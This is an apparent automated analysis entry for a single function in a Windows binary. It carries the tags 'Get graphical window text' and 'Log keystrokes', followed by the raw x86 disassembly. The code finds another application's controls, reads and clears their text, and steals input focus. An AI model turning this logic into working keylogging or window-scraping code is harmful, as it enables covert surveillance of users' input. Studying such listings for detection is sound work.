Function at 0x416254
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x416508
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x1c]
call fcn.00403494
mov eax, 0x32
call fcn.004025a8
mov dword [ebp - 0x10], eax
mov eax, 0x32
call fcn.004025a8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
mov edx, 0x32
call fcn.004039c8
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
push 0x32
mov eax, dword [ebp - 0x10]
push eax
push ebx
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 0x10]
call fcn.0040364c
mov eax, dword [ebp - 0x24]
mov edx, 0x416524
call fcn.00403800
jne 0x4164dd
xor eax, eax
push 0x41652c
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0x416540
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0x41654c
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0x416554
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0x41655c
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0x416568
push 0x416538
push eax
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4164dd
push 0
push 0x416574
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov edi, eax
test edi, edi
je 0x4164dd
push 0
push 0
push 0x146
push edi
call sub.user32.dll_SendMessageA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x416432
mov esi, dword [ebp - 0x14]
test esi, esi
jl 0x4163d0
inc esi
mov dword [ebp - 0x18], 0
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0x144
push edi
call sub.user32.dll_SendMessageA
inc dword [ebp - 0x18]
dec esi
jne 0x4163b9
mov esi, dword [ebp - 0x14]
test esi, esi
jl 0x4163f6
inc esi
mov dword [ebp - 0x18], 0
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0x144
push edi
call sub.user32.dll_SendMessageA
inc dword [ebp - 0x18]
dec esi
jne 0x4163df
push 0
push 0
push 0xc
push edi
call sub.user32.dll_SendMessageA
push 0
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov esi, eax
push 0xffffffffffffffff
push esi
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
call sub.user32.dll_AttachThreadInput
test eax, eax
je 0x416432
push edi
call sub.user32.dll_SetFocus
push 0
push esi
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
call sub.user32.dll_AttachThreadInput
mov eax, dword [ebp - 0x1c]
push eax
push 0x32
push 0xd
push edi
call sub.user32.dll_SendMessageA
cmp dword [ebp - 0x14], 0
jg 0x416463
mov edx, dword [ebp - 0x1c]
mov eax, 0x416588
call fcn.00403980
test eax, eax
jle 0x416463
push 0
push 0
push 0xc
push edi
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
cmp edx, dword [esp + 4]
jne 0x416479
cmp eax, dword [esp]
pop edx
pop eax
je 0x41648b
mov eax, dword [ebp - 4]
mov dword [eax + 0x30], ebx
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 4]
call fcn.00415ff4
test al, al
je 0x4164dd
lea ecx, [ebp - 0x20]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004165a0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.00415f6c
test al, al
jne 0x4164dd
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov edx, 0x416598
call fcn.0040373c
lea eax, [ebp - 0x20]
call fcn.004038c0
push eax
push 0
push 0xc
mov eax, dword [0x41839c]
mov eax, dword [eax]
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 0x10]
call fcn.004025c0
mov eax, dword [ebp - 0xc]
call fcn.004025c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41650f
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.004034b8
ret